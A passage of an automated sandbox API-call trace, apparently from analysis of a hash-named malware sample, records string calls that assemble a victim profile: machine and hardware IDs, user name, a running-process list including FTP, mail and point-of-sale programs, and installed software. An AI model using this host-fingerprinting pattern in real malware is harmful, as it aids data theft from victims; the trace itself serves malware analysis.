gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508"
[0054.956] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="14.25.28508.3", lpcbData=0x1816c0*=0xe) returned 0x0
[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 ["
[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [", lpString2="14.25.28508.3" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3"
